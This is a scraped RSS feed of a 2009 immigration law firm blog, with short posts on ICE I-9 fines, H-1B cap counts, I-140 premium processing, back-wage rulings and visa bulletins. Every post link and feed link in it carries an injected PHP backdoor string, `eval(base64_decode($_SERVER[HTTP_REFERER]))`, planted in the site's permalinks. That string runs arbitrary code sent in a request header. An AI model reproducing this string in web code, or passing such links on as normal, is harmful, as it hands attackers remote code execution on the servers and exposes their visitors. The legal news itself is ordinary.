H-1 Cap Blog http://www.h1cap.com Hammond Law Group, LLC Wed, 08 Jul 2009 17:33:53 +0000 http://wordpress.org/?v=2.3.1 en Krispy Kreme Fined After I-9 Audit http://www.h1cap.com/2009/07/08/krispy-kreme-fined-after-i-9-audit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.h1cap.com/2009/07/08/krispy-kreme-fined-after-i-9-audit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 08 Jul 2009 17:33:53 +0000 Amy Dalal http://www.h1cap.com/2009/07/08/krispy-kreme-fined-after-i-9-audit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ As evidence of ICE’s new comprehensive strategy to reduce the demand for illegal employment and protect employment opportunities for the nation’s lawful workforce, ICE has announced today a $40,000 fine settlement reached with the Krispy Kreme Doughnut Corporation for I-9 violations and for violations of the Immigration and Nationality Act. ICE conducted an I-9 inspection of Krispy Kreme after receiving information from the Ohio Butler County Sheriff’s Office which revealed the company had employed dozens of illegal aliens at one of their doughnut factories in Cincinnati.

Employers are required to complete and retain a Form I-9 for each individual they hire for employment in the United States. This form requires employers to review and record the individual’s identity document(s) and determine whether the document(s) reasonably appear to be genuine and related to the individual.”Employers have a responsibility to hire men and women who are authorized to work in the United States and fines are an important component of ensuring their compliance,” said Brian Moskowitz, special agent in charge of the ICE Office of Investigations in Michigan and Ohio. “ICE will use the legal tools at its disposal to address those who neglect or falter in their corporate responsibilities.”

Last week, ICE announced as part of their new initiative that 652 businesses around the country would be audited to determine their compliance with the immigration laws.

]]> http://www.h1cap.com/2009/07/08/krispy-kreme-fined-after-i-9-audit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Latest H-1B Count as of July 3rd http://www.h1cap.com/2009/07/08/latest-h-1b-count-as-of-july-3rd/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.h1cap.com/2009/07/08/latest-h-1b-count-as-of-july-3rd/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 08 Jul 2009 17:23:45 +0000 Amy Dalal http://www.h1cap.com/2009/07/08/latest-h-1b-count-as-of-july-3rd/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The USCIS has updated the latest H-1B count. As of July 3, 2009, approximately 45,000 H-1B cap-subject petitions had been received by USCIS and counted towards the H-1B cap. Approximately 20,000 petitions qualifying for the advanced degree cap exemption had been filed. The USCIS is continuing to accept both cap-subject petitions and advanced degree petitions.

]]> http://www.h1cap.com/2009/07/08/latest-h-1b-count-as-of-july-3rd/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ USCIS Reinstates Premium Processing for I-140s http://www.h1cap.com/2009/06/22/uscis-reinstates-premium-processing-for-i-140s/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.h1cap.com/2009/06/22/uscis-reinstates-premium-processing-for-i-140s/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 22 Jun 2009 18:51:54 +0000 Amy Dalal http://www.h1cap.com/2009/06/22/uscis-reinstates-premium-processing-for-i-140s/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The USCIS announced today that effective June 29, 2009, it will resume Premium Processing Service for Form I-140. The USCIS will accept Premium Processing requests for Form I-140 Immigrant Petition for Alien Worker, involving EB-1 Aliens with Extraordinary Ability, EB-1 Outstanding Professors and Researchers, EB-2 Members of Professions with Advanced Degrees or Exceptional Ability not seeking a National Interest Waiver, EB-3 Professionals, EB-3 Skilled Workers, and EB-3 Workers other than Skilled Workers and Professionals. Premium Processing Service is still not available for Form I-140, Immigrant Petition for Alien Worker, involving EB-1 Multinational Executives and Managers and EB-2 Members of Professions with Advanced Degrees or Exceptional Ability seeking a National Interest Waiver.Under premium processing, for an additional $1000 filing the USCIS will process the case (i.e. approve, deny, issue an RFE) within 10-15 days after filing. For more information, please contact your HLG attorney.

]]> http://www.h1cap.com/2009/06/22/uscis-reinstates-premium-processing-for-i-140s/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ USCIS Announces Green Card Production Delays http://www.h1cap.com/2009/06/01/uscis-announces-green-card-production-delays/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.h1cap.com/2009/06/01/uscis-announces-green-card-production-delays/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 01 Jun 2009 17:40:33 +0000 Amy Dalal http://www.h1cap.com/2009/06/01/uscis-announces-green-card-production-delays/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ USCIS has announced that applicants may experience up to an eight week delay in the delivery of their permanent resident card (Green Cards) while the Service is in the process of upgrading their card production equipment. USCIS Field Offices will be issuing temporary evidence of permanent residence in the form of an I-551 stamp to applicants approved for permanent residence at the time of their interview. It is highly recommended that applicants take their passports to their appointments. If you do not have a passport, you must bring a passport style photo and government issued photo identification to receive temporary evidence of permanent residence.
If the application is approved subsequent to your interview or by a Service Center or the National Benefit Center, the applicant should bring the above documents to an INFOPASS appointment to be issued temporary evidence of permanent residence in the form of an I-551 stamp. Any questions, please contact your HLG attorney.

]]> http://www.h1cap.com/2009/06/01/uscis-announces-green-card-production-delays/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ ALJ finds H-1B Employer Liable for Back Wages for Benched Employee http://www.h1cap.com/2009/05/14/alj-finds-h-1b-employer-liable-for-back-wages-for-benched-employee/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.h1cap.com/2009/05/14/alj-finds-h-1b-employer-liable-for-back-wages-for-benched-employee/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 14 May 2009 21:57:34 +0000 Amy Dalal http://www.h1cap.com/2009/05/14/alj-finds-h-1b-employer-liable-for-back-wages-for-benched-employee/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A recent Administrative Law Judge (ALJ) decision, Administrator, Wage & Hour Div. v. Itek Consulting, Inc. 2008-LCA-00046 (5/6/09), found an H-1B employer, Itek Consulting Inc. liable for back wages for periods of time when the employee was in nonproductive status. In its decision, the ALJ references the pertinent part of the Regulations, writing “Employers are required to pay H-1B workers on the date on which the worker “enters into employment” with the employer. 20 C.F.R. § 655.731(c)(6). Employers are required to pay H-1B employees the required wage for both productive and nonproductive time. Employment-related nonproductive time, or “benching,” results from lack of available work or lack of the individual’s license or permit. 8 U.S.C. § 1182(n)(2)(c)(vii); 20 C.F.R. § 655.731(c)(7)(i). An employer need not pay wages for H-1B visa workers in nonproductive status due to conditions unrelated to employment or which render the employee unable to work. 20 C.F.R. § 655.731(c)(7)(ii).”These Regulations are particularly important given the state of the economy and the fact that many employees are now on the bench.The ALJ also found that an employee did not need a SSN to begin work, only evidence of having applied for one, to be considered in an employment-related nonproductive status requiring payment. And that only pay reported to IRS met requirements as evidence of payment of prevailing wage.  For full decision see: http://www.oalj.dol.gov/Decisions/ALJ/LCA/2008/WAGE_and_HOUR_DIVISI_v_ITEK_CONSULTING_INC_2008LCA00046_(MAY_06_2009)_114836_CADEC_SD.PDF

]]> http://www.h1cap.com/2009/05/14/alj-finds-h-1b-employer-liable-for-back-wages-for-benched-employee/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Old LCA Operational until 6/30/2009 http://www.h1cap.com/2009/05/13/old-lca-operational-until-6302009/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.h1cap.com/2009/05/13/old-lca-operational-until-6302009/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 13 May 2009 13:54:59 +0000 Amy Dalal http://www.h1cap.com/2009/05/13/old-lca-operational-until-6302009/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The Department of Labor has informed AILA liaison that they will keep the old LCA system operational through June 30, 2009. The DOL has implemented fixes to many of the issues brought to their attention by AILA and other stakeholders thus far. The decision to keep the old LCA system operational will allow the DOL to continue to evaluate issues brought to their attention and to give users additional time to become familiar with the system. The new LCA system became operational on April 15, 2009.

]]> http://www.h1cap.com/2009/05/13/old-lca-operational-until-6302009/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ ARB finds Pegasus a Willful Violator and Assesses Civil Penalties http://www.h1cap.com/2009/05/11/arb-finds-pegasus-a-wilful-violator-and-assesses-civil-penalties/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.h1cap.com/2009/05/11/arb-finds-pegasus-a-wilful-violator-and-assesses-civil-penalties/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 11 May 2009 14:56:27 +0000 Amy Dalal http://www.h1cap.com/2009/05/11/arb-finds-pegasus-a-wilful-violator-and-assesses-civil-penalties/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The Dept. of Labor’s Administrative Review Board (ARB) has released a decision, reversing the Administrative Law Judge’s (ALJ) decision, finding that Pegasus Consulting Group, an IT consulting company, had “willfully violated the INA’s H-1B wage requirements”, by failing to comply with the H-1B program’s requirements. The ARB found that the evidence presented showed that Pegasus knew of its obligation to pay its H-1B employees in non-productive status or to terminate their employment. This knowledge and their failure to comply with these requirements, showed a “knowing failure” to comply with the H-1B wage requirements and, therefore, a “willful” failure to comply.” As such, the ARB found Pegasus liable of willfully violating the INA and assessed civil penalties (on top of the back wages the ALJ already previously assessed) in the amount of $5000. For full decision see: http://www.oalj.dol.gov/PUBLIC/ARB/DECISIONS/ARB_DECISIONS/LCA/05_086.LCAP.PDF

This decision is telling, particularly for IT consulting companies whose employees are in non-productive status. The holding shows that even if a company relies on an employment contract, which Pegasus did in their argument, and did take some steps towards compliance, this is not enough to protect a company from being assessed civil penalties for noncompliance.

]]> http://www.h1cap.com/2009/05/11/arb-finds-pegasus-a-wilful-violator-and-assesses-civil-penalties/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Federal Appeals Court on Ability to Pay http://www.h1cap.com/2009/05/08/federal-appeals-court-on-ability-to-pay/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.h1cap.com/2009/05/08/federal-appeals-court-on-ability-to-pay/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 08 May 2009 19:12:32 +0000 Michael Hammond http://www.h1cap.com/2009/05/08/federal-appeals-court-on-ability-to-pay/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ In a decision released April 23, 2009, the US Court of Appeals for the Seventh Circuit questioned the USCIS standards on the issue of the ability to pay.  The Court stated, ” We were thrown by the government’s brief”. The Court stated that the position of the USCIS “makes no sense” and was even renounced by the government’s own lawyer during oral arguments.  The Court pointed out that the USCIS reliance on net income and net current assets misses the distinction between principles of accounting and cash flow.  The Court stated that, ” the Department of Homeland Security must not take too static a view of a business firm’s decision to purchase an additional input, whether of capital or labor.”  Although the outcome in this case, was ultimately a denial of the petition, the discussion by the Court of the proper ability to pay standards was enlightening.

Of interest to start-up staffing companies with client contracts in place was the Courts favorable references to Matter of Sonegawa and its progeny.  This type of reasonable and rational decision from a Federal Court, should give businesses that have been aggrieved by aribtrary USCIS decisions, some encouragement in pursuing litigation against bad decisions. Although the time to achieve relief may be lengthy, relief can be achieved and more companies must be willing to litigate against bad USCIS decisions or else the flood of bad decisions based upon bad policy will continue. When enough Federal Court decisions smack around the USCIS, it is just possible that USCIS HQ in Washington will take note and reign in the out of control Service Centers.

 Please click here for a PDF copy of the decision: Construction & Design v. USCIS, Decision No. 08-2461 (7th Cir Ct. App)

]]> http://www.h1cap.com/2009/05/08/federal-appeals-court-on-ability-to-pay/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Another blow to EB-2 India… http://www.h1cap.com/2009/05/08/another-blow-to-eb-2-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.h1cap.com/2009/05/08/another-blow-to-eb-2-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 08 May 2009 15:46:10 +0000 Katie Jacob http://www.h1cap.com/2009/05/08/another-blow-to-eb-2-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ With sadness, we post the June 2009 Visa Bulletin just released by the U.S. Department of State.  Most of the bulletin is the same as May 2009 — EB-3 remains “unavailable” for all countries and EB-2 China is still February 15, 2005.   However there are further set backs for EB-2 India which rolled back approximately 4 years to a priority date of January 1, 2000! 

 http://travel.state.gov/visa/frvi/bulletin/bulletin_4497.html

Maybe 4 years in the U.S. military is not so bad after all!? 

]]> http://www.h1cap.com/2009/05/08/another-blow-to-eb-2-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Interested in a fast track to US Citizenship? Try the US Military… http://www.h1cap.com/2009/05/06/interested-in-a-fast-track-to-us-citizenship-try-the-us-military/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.h1cap.com/2009/05/06/interested-in-a-fast-track-to-us-citizenship-try-the-us-military/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 06 May 2009 18:55:46 +0000 Katie Jacob http://www.h1cap.com/2009/05/06/interested-in-a-fast-track-to-us-citizenship-try-the-us-military/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The Pentagon recently announced plans to open military enlistment to nonimmigrants legally present in the United States.  Previously only U.S. Citizens and Permanent Residents could enlist in the military.  However the government now recognizes a specific need in strategic areas, languages, and skill sets and will actively recruit students and professionals in temporary nonimmigrant status who are willing to joint the U.S. Army. 

Specific languages needed by the Army include:  Arabic, Chinese, Hindi, Igbo (a tongue spoken in Nigeria), Kurdish, Nepalese, Pashto, Russian and Tamil are in demand.  If qualified and accepted, a nonimmigrant would be required to serve a period of 4 years in professional occupations or 3 years of in a medical occupation and citizenship would be granted through this term of service.  If the term of employment is not completed, citizenship would be revoked. 

Any persons potentially qualifying should contact their local recruitment office for more information.  For additional details on this new program, please review the following articles.

http://www.latimes.com/news/local/la-me-immigrant-recruits4-2009may04,0,5003914.story

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